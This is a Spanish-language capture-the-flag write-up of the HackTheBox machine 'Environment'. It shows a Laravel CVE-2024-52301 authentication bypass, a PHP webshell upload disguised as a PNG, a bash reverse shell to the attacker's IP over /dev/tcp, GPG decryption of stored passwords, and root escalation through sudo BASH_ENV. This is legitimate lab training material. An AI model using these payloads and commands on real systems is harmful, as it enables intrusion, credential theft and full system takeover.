Environment – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar environment


Resumen Link to heading

“Environment” es una máquina de dificultad Media de la plataforma HackTheBox. La máquina víctima está corriendo un servidor web el cual utiliza una versión vulnerable de Laravel a CVE-2024-52301, una vulnerabilidad que nos permite definir variables de entorno en una URL. Esto nos permite bypassear la autenticación del sitio web y obtener una sesión como un usuario válido. Este usuario es capaz de subir una imagen a un perfil. Somos capaces de bypassear las restricciones que no dejan subir archivos inválidos, para subir una “imagen” que en realidad es un archivo PHP malicioso, ganando ejecución remota de comandos en la máquian víctima. Ya dentrop, somos capaces de encontrar y desencriptar un archivo GNU Privacy Guard (GPG), obteniendo una contraseña válida para un usuario en el sistema y ganando acceso por SSH. Ya dentro como este usuario, éste es capaz de ejecutar sudo manteniendo una variable de entorno. Esto nos permite ejecutar un script como un usuario privilegiado; escalando así privilegios y comprometiendo el sistema.


User / Usuario Link to heading

Empezamos buscando puertos TCP abiertos con Nmap:

❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.67

El escano de Nmap sólo muestra 2 puertos TCP abiertos: 22 SSH y 80 HTTP. Apicando algunos scripts de reconocimiento sobre aquellos puertos con la flag -sVC podemos ver:

❯ sudo nmap -sVC -p22,80 10.10.11.67

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 03:13 -04
Nmap scan report for 10.10.11.67
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.64 seconds

Del output, para el servicio 80 HTTP, podemos ver que se redirige a un dominio: environment.htb.

Agregamos este dominio junto con la IP de la máquina víctima al archivo /etc/hosts en nuestra máquina de atacantes:

❯ echo '10.10.11.67 environment.htb' | sudo tee -a /etc/hosts

Una vez agregado el sitio web, usamos WhatWeb contra el sitio web para ver tecnologías que pudieran estar siendo utilizadas por éste:

❯ whatweb -a 3 http://environment.htb

http://environment.htb [200 OK] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], HttpOnly[laravel_session], IP[10.10.11.67], Laravel, Script, Title[Save the Environment | environment.htb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]

Podemos ver que el servidor está utilizando Nginx junto con Laravel.

Visitando http://environment.htb en un navegador web muestra una página acerca del entorno (“environment” en inglés) del planeta Tierra:

Environment 1

En la página inferior, la página pide un email para que ganemos acceso a ésta. Ponemos un email random allí, pero sólo obtenemos un mensaje “exitoso”. Nada más allá de eso:

Environment 2

En este punto podemos buscar por directorios a través de fuerza bruta (Brute Force Directory Listing) con la herramienta Gobuster. Dado que el sitio está utilizando Laravel, el cual usa PHP, también buscamos por archivos .php:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://environment.htb -x php -t 40

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.gitkeep             (Status: 403) [Size: 153]
/.git/logs/           (Status: 403) [Size: 153]
/.git/HEAD            (Status: 403) [Size: 153]
/.git/index           (Status: 403) [Size: 153]
/.git/config          (Status: 403) [Size: 153]
/.git_release         (Status: 403) [Size: 153]
/.config              (Status: 403) [Size: 153]
/.cvs                 (Status: 403) [Size: 153]
/.env                 (Status: 403) [Size: 153]
/.bash_history        (Status: 403) [Size: 153]
/.cvsignore           (Status: 403) [Size: 153]
/.gitignore           (Status: 403) [Size: 153]
/.gitattributes       (Status: 403) [Size: 153]
/.git-rewrite         (Status: 403) [Size: 153]
/.bashrc              (Status: 403) [Size: 153]
/.git                 (Status: 403) [Size: 153]
/.forward             (Status: 403) [Size: 153]
/.gitmodules          (Status: 403) [Size: 153]
/.gitk                (Status: 403) [Size: 153]
/.cache               (Status: 403) [Size: 153]
/.gitconfig           (Status: 403) [Size: 153]
/.gitreview           (Status: 403) [Size: 153]
/.hta                 (Status: 403) [Size: 153]
/.htaccess            (Status: 403) [Size: 153]
/.history             (Status: 403) [Size: 153]
/.htpasswd            (Status: 403) [Size: 153]
/.mysql_history       (Status: 403) [Size: 153]
/.profile             (Status: 403) [Size: 153]
/.listing             (Status: 403) [Size: 153]
/.perf                (Status: 403) [Size: 153]
/.listings            (Status: 403) [Size: 153]
/.passwd              (Status: 403) [Size: 153]
/.ssh                 (Status: 403) [Size: 153]
/.subversion          (Status: 403) [Size: 153]
/.rhosts              (Status: 403) [Size: 153]
/.sh_history          (Status: 403) [Size: 153]
/.svn                 (Status: 403) [Size: 153]
/.svn/entries         (Status: 403) [Size: 153]
/.web                 (Status: 403) [Size: 153]
/.swf                 (Status: 403) [Size: 153]
/.svnignore           (Status: 403) [Size: 153]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/favicon.ico          (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 4602]
/index.php            (Status: 200) [Size: 4602]
/login                (Status: 200) [Size: 2391]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/mailing              (Status: 405) [Size: 244854]
/node_modules/.package-lock.json (Status: 403) [Size: 153]
/robots.txt           (Status: 200) [Size: 24]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2126]
/upload               (Status: 405) [Size: 244852]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
Progress: 9488 / 9490 (99.98%)
===============================================================
Finished
===============================================================

Podemos ver un directorio /login. Yendo a http://environment.htb/login muestra un nuevo panel de login:

Environment 3

Si ponemos credenciales aleatorias sólo obtenemos un mensaje: Invalid credentials.

Para ver la data enviada cuando tratamos de loguearnos, podemos interceptar le petición enviada con Burpsuite. Obtenemos la petición:

POST /login HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://environment.htb/login?error=Invalid%20credentials.
Cookie: XSRF-TOKEN=eyJpdiI6ImROMlFsN3I5bmFNVHRSR3JnWC9zWnc9PSIsInZhbHVlIjoibnpoNWV1ZDNYa3d3R1QyZHIyQ255T3RUdFBRcERqUU1EdUFrNHdZSlJUV1diN3ZEVjE1b1FvUWhmMHBmdmpxYjIrY0JhZ0tyQXZxSnNudWJ6a2VRTGwvaGFRNVdVUDQvam8rR2FmTGErU29id29mWW1aWk5QaGJqN2FVdGFXbEYiLCJtYWMiOiJmYTc5Nzc0NTIwZDRkMGNkOTNhYzJjYjcwMmRjMjJlYjkwMzIwZWQyZjNjOGZlMWYzYTM2YzFiZDBmZWJkNmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFCa0ExT2FvRmgzRHJYY3RrUDFqZGc9PSIsInZhbHVlIjoiOXc2TmVoRDdkbFIwQW5FK2tIVHkvaHNQRU1IWjZ4ckRucDdIaGtwblFnaVFWY0JtaUlyY09pQ1lnQ3NkK0htN1VLalRaVE92ZTdKL3NoU25ITnFSYXc0N1hJRWVBTUlMejY5MWorWk10UzA1dldkV2VFVHdETFcxYUpxclVFTEsiLCJtYWMiOiJkZGRiMDYxNTJhNTA5NjJmMjVlMzI2ODZmZTE5M2FlNjJjZjI1NDhiYTdkMDU4ODFlZDdhYTNlN2VmMGU4YjM4IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=f3uDz8P68DVOsZvErqzHc0t0AgfhZF5PGzww60Dk&email=test%40test.com&password=123&remember=False

Pero nada más allá de ello.

Si visitamos http://environment.htb/mailing o /upload podemos ver una página de error:

Environment 10

Podemos ver una versión: Laravel 11.30.0.

Esta es una de aquellas veces donde el nombre de la máquina da una pista de cómo resolver ésta. Si buscamos por laravel environment vulnerability encontramos este blog explicando una vulnerabilidad catalogada como CVE-2024-52301. La versión de Laravel corriendo es 11.30.0, y las versiones afectadas son anteriores a la 11.31.0. Por tanto, la versión debería de ser vulnerable. En corto, existe una falla en cómo Laravel trata con la configuración de las variables de entorno cuando la directiva PHP de nombre register_arc_argv está habilitada. Esta vulnerabilidad nos permite crear una petición la cual puede cambiar de valor una variable de entorno simplemente llamándola. Es decir, por una petición GET podemos cambiar una varible de entorno en Laravel. Buscando por Pruebas de Concepto (Proof of Concepts, o PoCs) encontramos este repositorio de Github. Resumidamente, podemos explotar la vulnerabilidad llamando a la URL:

http://example.com/page?--env=<env-variable>

Dado que no conocemos cuál variable de entorno podríamos utilizar, podemos utilizar esta lista para variables de entorno de SecLists junto con Burpsuite. Esta lista no es para nada extensa, por lo que usar Burpsuite es suficiente en este caso (y nos sirve para variar un poco lo que siempre hacemos con ffuf o scripts de Python). Agregamos en la URL el string ?--env=test, enviamos la petición, ésta es interceptada por Burpsuite y la enviamos al Intruder. Seleccionamos la palabra test y clickeamos en Add § como sigue:

Environment 4

Environment 5

Donde, como payload, seleccionamos el diccionario Fuzzing/environment-identifiers.txt de SecLists. Hecho esto, clickeamos en Start Attack.

Environment 6

Una vez el ataque ha concluido, clickeamos en Length para ordenar las respuestas por su tamaño. Podemos ver una variable que tiene diferente tamaño:

Environment 7

Todas las variables retornan un tamaño de 1694, excepto para preprod, la cual retorna un valor de 1634.

Por ende, vamos a http://environment.htb/login, interceptamos una nueva petición con Burpsuite, pero esta vez modificamos la URL a la cual se está haciendo una petición por POST:

POST /login?--env=preprod HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://environment.htb/login
Cookie: XSRF-TOKEN=eyJpdiI6ImdzSEh0MHhkb0hjWkwzbHR0NW9Xd0E9PSIsInZhbHVlIjoiYXF1aXpCRjc3SDZJR1pzaUM2OVkxcGlXUEpjYm8vdkFjYWFkV21aVTJWRWxKcjV5Z2RWTStSQ21RbDkzQlRYMzV6clRoMWhINk1LWXhYN2d5RW5oQ0MraXRuREZKRzF4NjZNQS9mVzBXSXV3TThFRXhSanc5d0w0U1F4c3BjZ1AiLCJtYWMiOiI2ZGVjY2M4YzlmMDJmMzI2YjE3OTIzMjdiYzkwNjgxMGJmY2JiMDY0YWY4NmI5MWUxZDhiNzgyNzhmNjMxMjdlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFzbVBVVDFsZG5hOWljNU9QNmtQdlE9PSIsInZhbHVlIjoiSW1OeWV1NVlGdFRrcEt3ZHQvMWQ1Z3lYRFRMRDc3ZkF1VmJhTDBRUGpyV21YRzgvYlZGaFViVzdXMXZWRk9LS3dtUllqL0tlVFpCKzIvMTVDNkEzV0VYU1p1eHMwRHZOT3EwWm5iazR5Q005YzlyLzZ3Rjh3UzdON0VyaGhmWXQiLCJtYWMiOiI1NGVlYmNhNjVjYTZmOGM5NjJmMGUyZGRmOWIwMDUyMmY4MmE3M2I2MWFhMDIzNjBjZmIyMjc4YmY1ODAxNDk0IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=f3uDz8P68DVOsZvErqzHc0t0AgfhZF5PGzww60Dk&email=test%40test.com&password=123&remember=False

Somos redirigidos al sitio http://environment.htb/mangement/dashboard, donde podemos ver lo que parece ser un panel:

Environment 8

Si clickeamos en Profile podemos ver que estamos logueados como el usuario Hish y que podemos actualiozar nuestra foto de perfil subiendo una nueva:

Environment 9

Simplemente descargaré la imagen que ya está subida al usuario Hish y trataré de subirla de nuevo, pero esta vez interceptando nuevamente con Burpsuite para ver si es que podemos subir un archivo malicioso. Descargamos la foto de perfil con wget:

❯ wget http://environment.htb/storage/files/hish.png -q

Y la volvemos a subir, interceptando la petición de subida con Burpsuite. Interceptamos la petición:

POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------3829345334277116534866207027
Content-Length: 39907
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6InNQZ1ljNGJNVTBMbWtieVBvU3B3YlE9PSIsInZhbHVlIjoiMWJqaXdVNXl6S2RVKzVmM3V1QlpkVDJJUkhoNGI0L3ZjZFJoNnVVRnl3WFliTDhQcHc4c0V6cVloTFF1OWdVRE51T0czc1FQWXVlclJmK01ISHZlNFZlSTRGamtzUzkzc3cxM3g1V0tPeW5YMzVEN3JsaGF6cnJydEdPd1IxVjQiLCJtYWMiOiJkZjA3MjQ0MDdjNjBhYmEyODNlNDM1YWVjNTg4MzA0ZDM2ZmJmMjMzMWUxOTQ5NmZjZDQyYTA1ZDQ3NmZkOTgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBQSk1rbUpKRUEyVkZNVzdSeHVXNlE9PSIsInZhbHVlIjoiS3U2MUVMbFV4UEpuZy9Ybk4rQXpYZWNTeXg2M1NjS3ZmOU4wK013YnVxa1FaNEtmSjk4S1NGdUppOE5CaldNbHYvbGtHZGxZQ2szem9zcDRLbUFDMkpvMmkzNWhvMm04N0EyNEI2a3RlU05PdHhDSi9rZitXVFVndXNrWUJlSEQiLCJtYWMiOiIwMWJjMDdkYTM2M2Y4MGMyYjVlMjFjZmUzMDY2ZWU1NmQ5ODVlYjBjZDRlNzJiYTA5N2NjMDljNWMwM2I5M2FlIiwidGFnIjoiIn0%3D
Priority: u=0

-----------------------------3829345334277116534866207027
Content-Disposition: form-data; name="_token"

sWHJLfkMcgW30ZdDAUPrikdHH5B7319BIg2Yk1Fx
-----------------------------3829345334277116534866207027
Content-Disposition: form-data; name="upload"; filename="hish.png"
Content-Type: image/png

‰PNG

<SNIP>

-----------------------------3829345334277116534866207027--

Noto que si nombro mi archivo como test.png, éste es subido en la ruta:

http://environment.htb/storage/files/test.png

Similar al archivo hish.png que hemos descargado. Por tanto, no es difícil deducir que las imágenes son subidas en /storage/files/.

Podemos tratar de crear un archivo PHP el cual sea una webshell, agregando a ésta “bytes mágicos” de un archivo PNG:

❯ (echo -e '\xFF\xD8\xFF\xE0'; echo '<?php system($_GET["cmd"]); ?>') > shell.png

Subimos la shell e interceptamos nuevamente la petición. Un nombre que funciona para subir el archivo es gunzf0x.php. (con un punto . al final del archivo) y el archivo es subido:

POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------4057824841326181275761716449
Content-Length: 404
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6Ikd0U1N0ZldCbUVUS28vczNPVENOSHc9PSIsInZhbHVlIjoidEFLdGlWT2xzOGRxaDB1TXFoT3FBLzc4aFY5Y2Mxd3NEK1NGY1ROOXVhTFRIY1ZIY3h1QnBySUNMMjhhTU1hcjVpTVNMTDJ3N2ZsSTNyZG5UaGRqNDBFUE5KSWlYQVljMDhaRjBVaW4vcGVhcXhNanFmZEloNG9kQk4yYjZiYS8iLCJtYWMiOiJiNzhkNGNkOTgwYTBlZWJkNGEyM2VhMjFkNDU4MGUzOWYzYTdhMjRkY2I0NWM0NjMyODgwOTZjYTQzZGI2YzE4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IktnMEpsZkVoUWUwaGduUzZ0clY0MFE9PSIsInZhbHVlIjoiVzg0aEZLWi93R2IvZ2w3cW54NDlkbjhtdWpaN21weTM2Mm4zdHpPSjA0UFNFZGYzRHQvSngxQS9veThkOUl3SGR3Vm5tbTVCelVEb280NlhoYU5ycGhYQmVpL1U1Y2EwZnNzSVZhQzRacjVXMXN5M1NrWDZWa1pwQ0Q4bGJXK3giLCJtYWMiOiJkNWQzOTU2MDhiMzg3OTdmNjc3OGYzMzIxMWMyM2EyZDY0ZmY1ZDc4OTQyZTYzN2RlOWJmNzI5NWU0N2QyNzdkIiwidGFnIjoiIn0%3D
Priority: u=0

-----------------------------4057824841326181275761716449
Content-Disposition: form-data; name="_token"

couAZtr9LEEiSzwaXgngq4goPpweoTLfnVQWYqGr
-----------------------------4057824841326181275761716449
Content-Disposition: form-data; name="upload"; filename="gunzf0x.php."
Content-Type: image/png

ÿØÿà
<?php system($_GET["cmd"]); ?>

-----------------------------4057824841326181275761716449--

Revisamos si el archivo ha sido subido y si podemos ejecutar comandos con cURL:

❯ curl -s -X GET -G 'http://environment.htb/storage/files/gunzf0x.php' --data-urlencode 'cmd=id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Funcionó.

empezamos un listener con netcat por el puerto 443 y usamos este archivo para enviarnos una reverse shell:

❯ curl -s -X GET -G 'http://environment.htb/storage/files/gunzf0x.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.16.4/443 0>&1"'

Obtenemos una shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.67] 60496
bash: cannot set terminal process group (853): Inappropriate ioctl for device
bash: no job control in this shell
www-data@environment:~/app/storage/app/public/files$

Hay 2 usarios en la máquina víctima: root y hish

www-data@environment:~/app/storage/app/public/files$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash

Podemos ver que la flag de usuario user.txt está en el directorio home de hish, pero también existe un directorio backup el cual podemos leer:

www-data@environment:~/app/storage/app/public/files$ ls -la /home/hish

total 36
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .
drwxr-xr-x 3 root root 4096 Jan 12 11:51 ..
lrwxrwxrwx 1 root root    9 Apr  7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish  220 Jan  6 21:28 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12 14:42 .bashrc
drwxr-xr-x 4 hish hish 4096 May 10 19:48 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan  6 21:43 .local
-rw-r--r-- 1 hish hish  807 Jan  6 21:28 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 backup
-rw-r--r-- 1 root hish   33 May 10 17:10 user.txt

Dentro de este directorio hay un archivo llamado keyvault.gpg:

www-data@environment:~/app/storage/app/public/files$ ls -la /home/hish/backup
total 12

drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish  430 May 10 19:49 keyvault.gpg
Información
A .gpg file is a public keyring file. GPG is a free and open-source implementation of the OpenPGP standard, used for encrypting, decrypting, and digitally signing data. This file stores public keys used to verify the authenticity of messages and files.

En corto, es un archivo encriptado.

Para desencriptar este archiovo GNU Privacy Guard (GPG) tenemos 2 opciones: usar nuestra propia máquina y modificar algunos archivos de nuestro sistema o utilizar los archivos que ya están en la máquina víctima. Iré por la segunda opción. Primero, localizamos y copiamos el directorio .gnupg. Este directorio está usualmente localizado en el directorio home del usuario objetivo. En este caso hish es el usuario, y como pudimos ver cuando revismaos el directorio /home/hish, éste directorio existe y tenemos permisos de lectura sobre éste. Creamos una copia de este directorio en algún otro lugar de la máquina víctima:

www-data@environment:~/app/storage/app/public/files$ cp -r /home/hish/.gnupg/ /tmp/gnupg_copy

Luego, damos permisos sobre el directorio copiado para evitar problemas a futuro:

www-data@environment:~/app/storage/app/public/files$ chmod -R 700 /tmp/gnupg_copy/

Como tercer paso, necesitamos confirmar con gpg que el directorio copiado será el directorio del cual se intentarán desencriptar los archivos:

www-data@environment:~/app/storage/app/public/files$ gpg --homedir /tmp/gnupg_copy/ --list-secret-keys

/tmp/gnupg_copy/pubring.kbx
---------------------------
sec   rsa2048 2025-01-11 [SC]
      F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid           [ultimate] hish_ <hish@environment.htb>
ssb   rsa2048 2025-01-11 [E]

Finalmente, desencriptamos el archivo .gpg y extraemos su contenido:

www-data@environment:~/app/storage/app/public/files$ gpg --homedir /tmp/gnupg_copy/ --output /tmp/content.txt --decrypt /home/hish/backup/keyvault.gpg

gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"

Por último, leemos el contenido del contenido extraido usando cat:

www-data@environment:~/app/storage/app/public/files$ cat /tmp/content.txt

PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

Tenemos 3 potenciales contraseñas.

Usamos NetExec para revisar si alguna de estas contraseñas es válida para el usuario hish mediante el servicio SSH:

❯ nxc ssh 10.10.11.67 -u hish -p 'Ihaves0meMon$yhere123' 'marineSPm@ster!!' 'summerSunnyB3ACH!!'

SSH         10.10.11.67     22     10.10.11.67      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u5
SSH         10.10.11.67     22     10.10.11.67      [-] hish:Ihaves0meMon$yhere123
SSH         10.10.11.67     22     10.10.11.67      [+] hish:marineSPm@ster!!  Linux - Shell access!

Tenemos credenciales: hish:marineSPm@ster!!.

Nos conectamos como el usuario hish utilizando el servicio SSH:

❯ sshpass -p 'marineSPm@ster!!' ssh -o stricthostkeychecking=no hish@10.10.11.67
Warning: Permanently added '10.10.11.67' (ED25519) to the list of known hosts.
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May 10 20:09:00 2025 from 10.10.16.4
hish@environment:~$

Podemos extraer la flag de usuario.


Root Link to heading

Este usuario puede ejecutar un comando con sudo:

hish@environment:~$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

La clave aquí yace en la definición de env_keep+="ENV BASH_ENV". Podemos definir una variable de entorno como BASH_ENV y tal cual se explica en esta página podemos abusar de esto para escalar privilegios (sólo que no usamos la variable LD_PRELOAD).

Usualmente, para escalar privilegios, la gente le da permisos SUID al binario /bin/bash. Para hacer algo un poco diferente, crearemos un script de Bash el cual crea una copia del binario de python3 en el sistema, copia a la cual decidiré llamar /tmp/gunzf0x, y asignarle “capabilities” a aquella copia. Podemos crear este script en un simple oneliner de Bash -el cual llamaré /tmp/exploit-, no olvidando asignarle permisos de ejecución luego de crearlo:

hish@environment:~$ echo -e '#/bin/bash\n\ncp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x' > /tmp/exploit

hish@environment:~$ cat /tmp/exploit

#/bin/bash

cp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x

hish@environment:~$ chmod +x /tmp/exploit

Finalmente, ejecutamos /usr/bin/systeminfo con sudo, definiendo la variable de entorno como nuestro script malicioso /tmp/exploit:

hish@environment:~$ sudo BASH_ENV=/tmp/exploit /usr/bin/systeminfo

### Displaying kernel ring buffer logs (dmesg) ###
[    4.838808] vmwgfx 0000:00:0f.0: [drm] Available shader model: Legacy.
[    4.842101] [drm] Initialized vmwgfx 2.20.0 20211206 for 0000:00:0f.0 on minor 0
[    4.845291] fbcon: vmwgfxdrmfb (fb0) is primary device
[    4.846260] Console: switching to colour frame buffer device 160x50
<SNIP>

Si revisamos nuestro directorio /tmp, nuestra copia maliciosa ha sido creada:

hish@environment:~$ ls -la /tmp

total 6728
drwxrwxrwt 10 root     root        4096 May 10 20:15 .
drwxr-xr-x 18 root     root        4096 Apr 30 00:31 ..
-rw-r--r--  1 www-data www-data     107 May 10 20:05 content.txt
-rwxr-xr-x  1 hish     hish          85 May 10 20:14 exploit
drwxrwxrwt  2 root     root        4096 May 10 17:09 .font-unix
drwx------  4 www-data www-data    4096 May 10 20:05 gnupg_copy
-rwxr-xr-x  1 root     root     6839896 May 10 20:15 gunzf0x
<SNIP>

Finalmente, utilizamos aquel binario (el cual es una copia del binario de python3 con “capabilities”) para escalar privilegios:

hish@environment:~$ /tmp/gunzf0x -c 'import os; os.setuid(0); os.system("/bin/sh")'

# whoami
root

GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking.